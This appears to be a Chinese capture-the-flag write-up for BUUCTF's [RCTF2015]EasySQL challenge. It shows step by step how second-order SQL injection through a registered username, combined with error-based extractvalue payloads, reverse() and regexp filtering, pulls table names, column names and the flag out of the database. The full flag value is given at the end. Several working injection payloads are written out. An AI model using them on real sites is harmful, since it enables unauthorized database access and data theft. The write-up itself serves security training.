[RCTF2015]EasySQL1 题目分析与详解

一、题目介绍:

1、题目来源:

BUUCTF网址

2、题目介绍:

拿到flag。


二、解题思路

我们发现题目首页有登录和注册账号两个选项,我们首先尝试注册账号,尝试注册username为admin的账号,输入密码与邮箱,提交时发现页面显示 user exists 用户已存在,我们的第一想法是也许flag在admin账号中,现在只需要登录进admin的账号就行了。

我们尝试登录admin的账号,尝试username输入 admin"#,密码设为自己的密码,进行尝试。

登录进我们注册的admin"账号中后,并未发现有用的信息,于是尝试修改密码,看看能不能修改admin的密码。

修改完密码后,我们尝试使用我们修改后的密码登录admin的账号,发现登录成功,但是登录后的账号中并不存在flag的值,说明flag不在这里。

但是我们也可以由此得出结论,页面存在二次注入的漏洞,并可以大胆猜测修改密码的源代码。

sql 复制代码
update password='xxxx' where username="xxxx"

我们是因为对username进行的操作修改了admin的密码,所以关键点是对username的操作,回想我们在修改密码时页面不存在回显,那我们应当考虑报错注入。

利用Fuzz字典爆破username,查看禁用了哪些关键字。

导入Fuzz字典,进行爆破。

resoponse为invalid string的关键字是被过滤的关键字,Length为493的关键字为未被过滤的关键字,其中如 and 和 空格这样的关键字都被过滤了,extractvalue和updatexml这样的报错注入关键字未被注释,我们可以利用username进行报错注入了。

我们利用报错注入查看数据库中的表名。

sql 复制代码
admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

修改密码,发现报错注入回显。

我们看到有三张表,我们大胆猜测flag很可能在表flag中,于是我们查询表flag中的列名。

sql 复制代码
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

发现列flag,那我们只需要查询flag中的内容岂不是就可以拿到flag了,我们尝试获取flag的值。

sql 复制代码
admin"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

然后发现被设了套,flag不在这里。

我们尝试用相同的步骤访问表users。

sql 复制代码
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#

我们发现了flag所在的真正位置--real_flag_1s_here。但发现here只显示了her,未完全显示,这是因为 extractvalue 和 updatexml最多只能显示32位数字,我们可以使用 reverse()函数,将报错回显的结果倒置,以此来查看末尾未显示的信息。

sql 复制代码
admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

我们成功看到了完整的回显here,拿到真正存放flag的地方的列明,我们可以获取flag了。

sql 复制代码
admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#

我们发现查询结果超过1行,我们需要使用正则表达式来获取flag值。

sql 复制代码
admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#

但是我们发现由于extractvalue最多只能显示32位的原因,报错回显不能够完全显示flag的值,我们可以依然使用 reverse()函数,将flag值倒置输出,再利用sql语句将倒置部分恢复,将前后两部分flag拼接到一起,就可以获得完整的flag值。

sql 复制代码
admin"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

我们利用sql语句将导致部分恢复。

将两段flag值拼接到一起,组成完整的flag--flag{c27daacc-20a6-43e4-8113-8faa8e8a96e0}。

相关推荐
ccc_9wy19 天前
sql-labs靶场第十四关测试报告
数据库·sql·web安全·网络安全·sql注入·sqlmap·报错注入
我能突破限制.2 个月前
渗透测试(第三章SQL注入实战上)
网络安全·sql注入·报错注入·联合查询注入
郑居中3.08 个月前
BUUCTF----[极客大挑战 2019]HardSQL
sql注入·报错注入·updatexml
未知百分百9 个月前
SQL注入:二次注入
数据库·sql·安全·web安全·网络安全·二次注入
kali-Myon10 个月前
最常见的SQL报错注入函数(floor、updatexml、extractvalue)及payload总结
数据库·sql·web安全·web·sqllabs·报错注入